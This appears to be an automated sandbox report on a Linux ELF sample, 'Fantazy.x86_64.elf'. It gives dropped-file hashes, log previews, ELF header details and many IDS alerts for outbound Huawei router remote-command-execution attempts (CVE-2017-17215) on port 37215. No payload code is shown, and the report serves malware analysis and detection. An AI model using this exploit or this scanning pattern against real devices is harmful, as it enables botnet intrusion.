MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Preview:	.

/var/lib/ubuntu-drivers-common/last_gfx_boot

Download File

Process:	/usr/bin/gpu-manager
File Type:	ASCII text
Category:	dropped
Size (bytes):	25
Entropy (8bit):	2.7550849518197795
Encrypted:	false
SSDEEP:	3:JoT/V9fDVbn:M/V3n
MD5:	078760523943E160756979906B85FB5E
SHA1:	0962643266F4C5537F7D125046F28F21D6DD0C89
SHA-256:	048416AC7A9A99690B8B53718CD39F32F637B55CC8DD8E67E58E5AEF060DD41C
SHA-512:	DEFAAE8F8B54C61A716A0B0B4884358FEB8EB44DFEA01AAA5A687FDA7182792B7DEBB34AA840672EB3B40EB59FD0186749E08E47D181786C7FAA8C8F73F0104D
Malicious:	false
Preview:	15ad:0405;0000:00:0f:0;1.

/var/log/Xorg.0.log

Download File

Process:	/usr/lib/xorg/Xorg
File Type:	JSON data
Category:	dropped
Size (bytes):	41347
Entropy (8bit):	5.285676827667589
Encrypted:	false
SSDEEP:	384:crgeVlrosIza3rzMXdkdFdbdPdldNdndXdRd8d1dvdZd1dkdAdrdVdadadOxdTn8:0VXrsz+roT/rtgQXjBTq1kuCr
MD5:	729A7E6857139ED59DECE4521F031578
SHA1:	ABFC948BBC4FD56FED46D31C6C7E3143816B112B
SHA-256:	E6B2E81FF1C453B7E31418846829F6ADDF8D65FC3BFDE32EF4E29601C6C5F765
SHA-512:	1BC61E5CFAA66B3E41D8DBE5747D0B9E0DFF42B71E697FD000F8F46881B45D4F3EB1FC35013D567BE88EAC7A573B4D8E6798D2FBE53F6CF95D648845602A65E4
Malicious:	false
Preview:	[ 175.310] (--) Log file renamed from "/var/log/Xorg.pid-5787.log" to "/var/log/Xorg.0.log".[ 175.330] .X.Org X Server 1.20.11.X Protocol Version 11, Revision 0.[ 175.342] Build Operating System: linux Ubuntu.[ 175.348] Current Operating System: Linux galassia 5.4.0-72-generic #80-Ubuntu SMP Mon Apr 12 17:35:00 UTC 2021 x86_64.[ 175.354] Kernel command line: Patched by Joe: BOOT_IMAGE=/vmlinuz-5.4.0-72-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro maybe-ubiquity.[ 175.367] Build Date: 06 July 2021 10:17:51AM.[ 175.380] xorg-server 2:1.20.11-1ubuntu1~20.04.2 (For technical support please see http://www.ubuntu.com/support) .[ 175.387] Current version of pixman: 0.38.4.[ 175.393] .Before reporting problems, check http://wiki.x.org..to make sure that you have the latest version..[ 175.400] Markers: (--) probed, (**) from config file, (==) default setting,..(++) from command line, (!!) notice, (II) informational,..(WW) warning, (EE) error, (NI) not implemented, (??)

/var/log/auth.log

Download File

Process:	/usr/sbin/rsyslogd
File Type:	ASCII text
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	5.024917412857714
Encrypted:	false
SSDEEP:	24:laDCo4E0rCQ0MF8FdDm8h/MdcXju6NuYrrboQ0arCQU:k4E0rC6KpOUrboArCn
MD5:	2D63D0B806CDD87B323E4B86C997063E
SHA1:	F7DC04033C763A19233378F5577D6E4F4B302B15
SHA-256:	6780BB4D4A450889C340429361E7DC2F3748087F62F7E309BC07EEE654E97122
SHA-512:	E5F99BFB18E7A05A069814521F1722EEC2C5C5B91A7ECD28A18180673C0009EB93B0251FA5A37D1AB54EEFB976AE20E2D3EAD5E4302FDABAF0B7E117FCEA1857
Malicious:	false
Preview:	Feb 12 09:53:57 galassia gdm-launch-environment]: pam_unix(gdm-launch-environment:session): session opened for user gdm by (uid=0).Feb 12 09:53:57 galassia systemd-logind[5588]: New session c1 of user gdm..Feb 12 09:54:03 galassia dbus-daemon[5583]: [system] Failed to activate service 'org.bluez': timed out (service_start_timeout=25000ms).Feb 12 09:54:05 galassia gdm-launch-environment]: pam_unix(gdm-launch-environment:session): session closed for user gdm.Feb 12 09:54:05 galassia systemd-logind[5588]: Session c1 logged out. Waiting for processes to exit..Feb 12 09:54:05 galassia systemd-logind[5588]: Removed session c1..Feb 12 09:54:07 galassia gdm-launch-environment]: pam_unix(gdm-launch-environment:session): session opened for user gdm by (uid=0).Feb 12 09:54:07 galassia systemd-logind[5588]: New session c2 of user gdm..Feb 12 09:54:50 galassia polkitd(authority=local): Registered Authentication Agent for unix-session:c2 (system bus name :1.22 [/usr/bin/gnome-shell], object path /or

/var/log/gpu-manager.log

Download File

Process:	/usr/bin/gpu-manager
File Type:	ASCII text
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	4.8296848499188485
Encrypted:	false
SSDEEP:	24:wPXXX9uV6BNu3WDF3GF3XFFxFFed2uk2HUvJlfWkpPpx7uvvAdow9555cJz:wPXXXe6vejpeC2HUR5WkpPpcvAdow95O
MD5:	3AF77E630DA00B3BE24F4E8AA5D78B13
SHA1:	BCF2D99E002F6DE2413A183227B011CFBEF5673D
SHA-256:	EB1CBBA20845237B4409274D693FEAE13F835274DA3337B7A9D14F4D7FDF9DEA
SHA-512:	8524B1E8A761F962B32F396812099B9B0B2DCF3C9FCA8605424753CFCFF4DC67EDC5EE1D8C91B9C0ED7FAE6BB1E752898B8D514B7C421D1839D6FEDA609C593C
Malicious:	false
Preview:	log_file: /var/log/gpu-manager.log.last_boot_file: /var/lib/ubuntu-drivers-common/last_gfx_boot.new_boot_file: /var/lib/ubuntu-drivers-common/last_gfx_boot.can't access /run/u-d-c-nvidia-was-loaded file.can't get module info via kmodcan't access /opt/amdgpu-pro/bin/amdgpu-pro-px.Looking for nvidia modules in /lib/modules/5.4.0-72-generic/kernel.Looking for nvidia modules in /lib/modules/5.4.0-72-generic/updates/dkms.Looking for amdgpu modules in /lib/modules/5.4.0-72-generic/kernel.Looking for amdgpu modules in /lib/modules/5.4.0-72-generic/updates/dkms.Is nvidia loaded? no.Was nvidia unloaded? no.Is nvidia blacklisted? no.Is intel loaded? no.Is radeon loaded? no.Is radeon blacklisted? no.Is amdgpu loaded? no.Is amdgpu blacklisted? no.Is amdgpu versioned? no.Is amdgpu pro stack? no.Is nouveau loaded? no.Is nouveau blacklisted? no.Is nvidia kernel module available? no.Is amdgpu kernel module available? no.Vendor/Device Id: 15ad:405.BusID "PCI:0@0:15:0".Is boot vga? yes.Error: can't acce

/var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system.journal

Download File

Process:	/lib/systemd/systemd-journald
File Type:	data
Category:	dropped
Size (bytes):	240
Entropy (8bit):	1.43656862359913
Encrypted:	false
SSDEEP:	3:F31Hl9IwRydlXlVIwRydVX:F3zslBsV
MD5:	9628C8C505BC637FD176EEE3089182F2
SHA1:	286BDB5FB6EB8A585A7A6BFAA0AF837060998E78
SHA-256:	6D9851F08D124C5F324BB587DBAD40EC71C1E3AFDF1D40F6FB3DD66AD319A400
SHA-512:	FE2FFD946C23EA958D4782274C85A75585143B07E4E62B14FCBE7D270BD012F363A6DF4C6B470E8A878EF4B0D6A1E40ADE3522ED6AC652C10D0F6116BC7D3053
Malicious:	false
Preview:	LPKSHHRH................i9....Lg.tS...................................i9....Lg.tS...........................................................................................................................................................

/var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/user-1000.journal

Download File

Process:	/lib/systemd/systemd-journald
File Type:	data
Category:	dropped
Size (bytes):	240
Entropy (8bit):	1.4428593527838254
Encrypted:	false
SSDEEP:	3:F31HlQo69/Io69PX:F3mFuV
MD5:	CD6B877C53B344C64E07BD627E523849
SHA1:	A53AD14AA1B158AEA2B36C136E6D8E5045AED047
SHA-256:	4060B1782B409EFB056D3ACB828BB076EAB809AF56A2BA8FF9C3A187E36DC282
SHA-512:	70D8219765F68ABED1FCC73413178302F38012DAC38EA1583F1E5D0CE1F6EE13C7371322CB913F01A1A66A580540D02B23501588F90E111C827EA81DA5D340F0
Malicious:	false
Preview:	LPKSHHRH....................<A...M.V!......................................<A...M.V!..........................................................................................................................................................

/var/log/kern.log

Download File

Process:	/usr/sbin/rsyslogd
File Type:	ASCII text
Category:	dropped
Size (bytes):	43562
Entropy (8bit):	4.761587872721234
Encrypted:	false
SSDEEP:	384:izBuQuu7trhbBDIHSlIlmjxbxmHU9Tl4xBll5Xx2Rh+xvzZ4wvkq:KuQuu7trhVCSlIlm1b4RZ4wcq
MD5:	BFA0BDD829C6ED5C4CAB0FCC713D6849
SHA1:	5CFEFADE943A4BB639D4220878B9D2CF656CB5BF
SHA-256:	41B565C779A0D93EAC1F4F6268C2E5DDE3BD2B6B9E0BBFA83C78DB906FDE018F
SHA-512:	42FD140CE08701AD10466AEEC9514DE96567488A6247BA61B62C89E4B7FD433D16A39996BDFF9AE10F3D164ABA4050960BDAA5111829462FCEBD4D6876C96494
Malicious:	false
Preview:	Feb 12 09:53:38 galassia kernel: [ 143.615880] New task spawned: old: (tgid 5651, tid 5653), new (tgid: 5651, tid: 5654).Feb 12 09:53:38 galassia kernel: [ 145.304499] New task spawned: old: (tgid 5659, tid 5659), new (tgid: 5659, tid: 5660).Feb 12 09:53:38 galassia kernel: [ 145.305066] New task spawned: old: (tgid 5659, tid 5659), new (tgid: 5659, tid: 5661).Feb 12 09:53:38 galassia kernel: [ 145.310630] New task spawned: old: (tgid 5659, tid 5660), new (tgid: 5659, tid: 5662).Feb 12 09:53:39 galassia kernel: [ 145.718650] New task spawned: old: (tgid 5584, tid 5584), new (tgid: 5584, tid: 5663).Feb 12 09:53:39 galassia kernel: [ 145.989385] blocking signal 9: 5478 -> 940.Feb 12 09:53:39 galassia kernel: [ 146.168089] New task spawned: old: (tgid 5664, tid 5664), new (tgid: 5665, tid: 5665).Feb 12 09:53:39 galassia kernel: [ 146.263406] New task spawned: old: (tgid 5665, tid 5665), new (tgid: 5666, tid: 5666).Feb 12 09:53:40 galassia kernel: [ 146.711918] New task spawned: o

/var/log/syslog

Download File

Process:	/usr/sbin/rsyslogd
File Type:	ASCII text, with very long lines (317)
Category:	dropped
Size (bytes):	155199
Entropy (8bit):	5.231472585829331
Encrypted:	false
SSDEEP:	768:Gqu6ub7iJDtrkvikKSl/Hlmw9lRNDaylwgK8jIYo3/CZqYd/hmbmunno8bBlHo6D:47iJDtrwdd7pNl08jIYo3/FEXFIB1
MD5:	0C34859465B1D0395DC62BD1572701C6
SHA1:	2D31254E6AC5281C9B3D544AE4A95FC6B2DF5D56
SHA-256:	83610770D0FB451F672DFD7E99E07FA5C888412BE9477692049F4AB4C7051CB7
SHA-512:	4934F9FE82F0DC4FD5FE65CB014DFB0A025BD08248187FE417AE91529B81F5BA36C85F17C354F8892482B146ABF0A7C626A14A1FE0E4C2D9FCB41431DF2DF68D
Malicious:	false
Preview:	Feb 12 09:53:38 galassia systemd[1]: rsyslog.service: Main process exited, code=killed, status=9/KILL.Feb 12 09:53:38 galassia systemd[1]: rsyslog.service: Failed with result 'signal'..Feb 12 09:53:38 galassia rtkit-daemon[5585]: Successfully made thread 5584 of process 5584 owned by '1000' high priority at nice level -11..Feb 12 09:53:38 galassia rtkit-daemon[5585]: Supervising 1 threads of 1 processes of 1 users..Feb 12 09:53:38 galassia pulseaudio[5584]: Stale PID file, overwriting..Feb 12 09:53:38 galassia systemd[1]: rsyslog.service: Scheduled restart job, restart counter is at 1..Feb 12 09:53:38 galassia systemd[1]: Stopped System Logging Service..Feb 12 09:53:38 galassia systemd[1]: Starting System Logging Service....Feb 12 09:53:38 galassia kernel: [ 143.615880] New task spawned: old: (tgid 5651, tid 5653), new (tgid: 5651, tid: 5654).Feb 12 09:53:38 galassia kernel: [ 145.304499] New task spawned: old: (tgid 5659, tid 5659), new (tgid: 5659, tid: 5660).Feb 12 09:53:38 galass

/var/log/wtmp

Download File

Process:	/sbin/agetty
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	0.6775035134351417
Encrypted:	false
SSDEEP:	3:q61sXlXEWtl/K+/el/:nQ+ylT2t
MD5:	2BFC89CE3DDA9FB08F3CFD989B59AC61
SHA1:	0DFE9898F3E663A9B5EC5B59EE98D590FE4A7314
SHA-256:	0904984A2C43048C4DEC11CE89931265C66142CF6FD2E436A1334F75638FEBD9
SHA-512:	CD557FAB58EA6B9D1AC8F70DAFDE433C0EBD71BE60A2158BB5DBE42119CEFF221AC9C400D5713207C1A90026A098315179932A0F446F97BA1101EC974447C761
Malicious:	true
Preview:	........tty2.tty2.......................tty2LOGIN.....................................................................................................................................................................................................................................................................................................g.......................................

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.293679758683183
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Fantazy.x86_64.elf
File size:	79'840 bytes
MD5:	f766f228e138e46d05d1ccea5da60dbe
SHA1:	9f6a9f436fec7c03872c9a3ba7d34b3fb1b654bd
SHA256:	63f4be9d70ef98e52e7555f6bc75a4eb18f439b4795121c864a156db517d4a24
SHA512:	36c46fa46d6601f2cf830e1ed5727c60bd66faa92952b7e72ea3a00378935bb8162d7d2614b5dca4be59c7aed02dde672ee008982baaaa4bc8a9c8242977ac76
SSDEEP:	1536:0D/eRCDWo7JV7O03djdGTyVlgm+J2UOqL9efVY4+djZhnVhs:0OCHlV7z3djdGusdOqOe4OZhDs
TLSH:	E7732A46B98489FDC089F17846BF7176C015F1BE1379B2DB27C4BF1A2D0CEA05B1992A
File Content Preview:	.ELF..............>.......@.....@.......`5..........@.8...@.......................@.......@......2.......2.......................2.......2Q......2Q.....8.......................Q.td....................................................H...._........H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	79200
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x11746	0x0	0x6	AX	16
.fini	PROGBITS	0x411846	0x11846	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x411860	0x11860	0x1a80	0x0	0x2	A	32
.ctors	PROGBITS	0x5132e8	0x132e8	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x5132f8	0x132f8	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x513320	0x13320	0x200	0x0	0x3	WA	32
.bss	NOBITS	0x513520	0x13520	0x91a8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x13520	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x132e0	0x132e0	6.3316	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x132e8	0x5132e8	0x5132e8	0x238	0x93e0	3.0057	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-12T16:53:07.794236+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56564	43.252.98.194	37215	TCP
2025-02-12T16:53:15.145291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48278	197.79.76.220	37215	TCP
2025-02-12T16:53:17.689313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50738	186.222.181.161	37215	TCP
2025-02-12T16:53:19.089074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51370	41.173.32.17	37215	TCP
2025-02-12T16:53:19.123017+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38312	197.175.15.210	37215	TCP
2025-02-12T16:53:19.123031+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57256	197.69.170.0	37215	TCP
2025-02-12T16:53:19.123054+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43768	41.34.247.120	37215	TCP
2025-02-12T16:53:19.123091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47974	157.17.137.91	37215	TCP
2025-02-12T16:53:19.123097+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53222	157.175.20.8	37215	TCP
2025-02-12T16:53:19.123106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38634	157.155.1.160	37215	TCP
2025-02-12T16:53:19.123124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51420	197.202.81.142	37215	TCP
2025-02-12T16:53:19.123124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45758	157.231.221.203	37215	TCP
2025-02-12T16:53:19.123138+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49724	73.121.177.138	37215	TCP
2025-02-12T16:53:20.945861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43212	78.164.154.212	37215	TCP
2025-02-12T16:53:22.867414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33182	145.239.29.144	37215	TCP
2025-02-12T16:53:25.507250+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49898	157.20.214.240	37215	TCP
2025-02-12T16:53:26.901720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33152	197.107.8.219	37215	TCP
2025-02-12T16:53:26.902045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39798	8.75.19.147	37215	TCP
2025-02-12T16:53:26.902917+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58114	41.148.75.12	37215	TCP
2025-02-12T16:53:26.903627+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55864	157.99.93.165	37215	TCP
2025-02-12T16:53:26.904883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43750	157.146.9.144	37215	TCP
2025-02-12T16:53:26.916783+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55422	197.136.183.250	37215	TCP
2025-02-12T16:53:26.917603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49936	41.173.117.20	37215	TCP
2025-02-12T16:53:26.918414+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34562	157.121.247.28	37215	TCP
2025-02-12T16:53:26.919914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56590	41.253.86.197	37215	TCP
2025-02-12T16:53:26.920714+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44412	61.52.59.36	37215	TCP
2025-02-12T16:53:26.921026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42648	157.127.179.75	37215	TCP
2025-02-12T16:53:26.922132+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40702	84.74.210.199	37215	TCP
2025-02-12T16:53:26.922815+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55426	157.31.155.21	37215	TCP
2025-02-12T16:53:26.923184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39038	157.72.40.158	37215	TCP
2025-02-12T16:53:26.923707+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46710	157.112.178.1	37215	TCP
2025-02-12T16:53:26.923848+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37478	197.141.174.201	37215	TCP
2025-02-12T16:53:26.932283+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51670	197.6.103.19	37215	TCP
2025-02-12T16:53:26.932586+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40412	197.7.202.143	37215	TCP
2025-02-12T16:53:26.933149+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54478	54.170.162.98	37215	TCP
2025-02-12T16:53:26.933427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59930	157.195.117.128	37215	TCP
2025-02-12T16:53:26.933816+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37820	41.229.115.76	37215	TCP
2025-02-12T16:53:26.934398+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41634	197.186.123.178	37215	TCP
2025-02-12T16:53:26.935971+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38924	123.222.79.172	37215	TCP
2025-02-12T16:53:26.936256+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55564	8.233.234.244	37215	TCP
2025-02-12T16:53:26.936901+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50412	85.9.48.68	37215	TCP
2025-02-12T16:53:26.963670+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49218	41.56.125.44	37215	TCP
2025-02-12T16:53:26.963759+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41522	41.17.220.237	37215	TCP
2025-02-12T16:53:26.967419+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58822	197.126.118.76	37215	TCP
2025-02-12T16:53:26.967531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52836	134.19.93.104	37215	TCP
2025-02-12T16:53:26.979286+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44170	41.221.14.128	37215	TCP
2025-02-12T16:53:26.979777+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56324	157.238.15.238	37215	TCP
2025-02-12T16:53:26.979981+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51544	41.101.12.74	37215	TCP
2025-02-12T16:53:26.980090+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53776	157.63.127.197	37215	TCP
2025-02-12T16:53:26.980415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60222	157.236.176.153	37215	TCP
2025-02-12T16:53:26.980523+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48320	197.109.199.188	37215	TCP
2025-02-12T16:53:26.981688+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33056	197.179.221.19	37215	TCP
2025-02-12T16:53:26.994834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38518	197.48.228.241	37215	TCP
2025-02-12T16:53:26.994834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46164	197.112.150.169	37215	TCP
2025-02-12T16:53:26.995451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52830	41.11.131.79	37215	TCP
2025-02-12T16:53:26.995934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54376	73.189.25.125	37215	TCP
2025-02-12T16:53:26.996368+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43858	78.6.207.62	37215	TCP
2025-02-12T16:53:26.997035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38408	157.50.46.62	37215	TCP
2025-02-12T16:53:26.998619+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47398	41.25.245.214	37215	TCP
2025-02-12T16:53:27.000777+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60384	197.50.90.26	37215	TCP
2025-02-12T16:53:27.010608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47596	41.6.125.222	37215	TCP
2025-02-12T16:53:27.011265+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52848	41.105.117.90	37215	TCP
2025-02-12T16:53:27.011434+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37932	41.246.0.114	37215	TCP
2025-02-12T16:53:27.012203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44820	157.190.154.222	37215	TCP
2025-02-12T16:53:27.013610+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45364	157.92.111.99	37215	TCP
2025-02-12T16:53:27.014564+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59842	41.149.130.38	37215	TCP
2025-02-12T16:53:27.015114+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59780	197.168.60.254	37215	TCP
2025-02-12T16:53:27.015400+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45734	157.130.14.216	37215	TCP
2025-02-12T16:53:27.015865+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49394	41.230.175.24	37215	TCP
2025-02-12T16:53:27.015924+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38410	157.47.195.245	37215	TCP
2025-02-12T16:53:27.025879+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33900	101.188.252.169	37215	TCP
2025-02-12T16:53:27.026088+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56392	197.28.249.46	37215	TCP
2025-02-12T16:53:27.026237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43542	157.163.171.29	37215	TCP
2025-02-12T16:53:27.027592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39674	32.22.180.90	37215	TCP
2025-02-12T16:53:27.029689+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40082	41.218.25.240	37215	TCP
2025-02-12T16:53:27.045362+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58990	48.233.243.198	37215	TCP
2025-02-12T16:53:27.045694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53960	157.38.55.250	37215	TCP
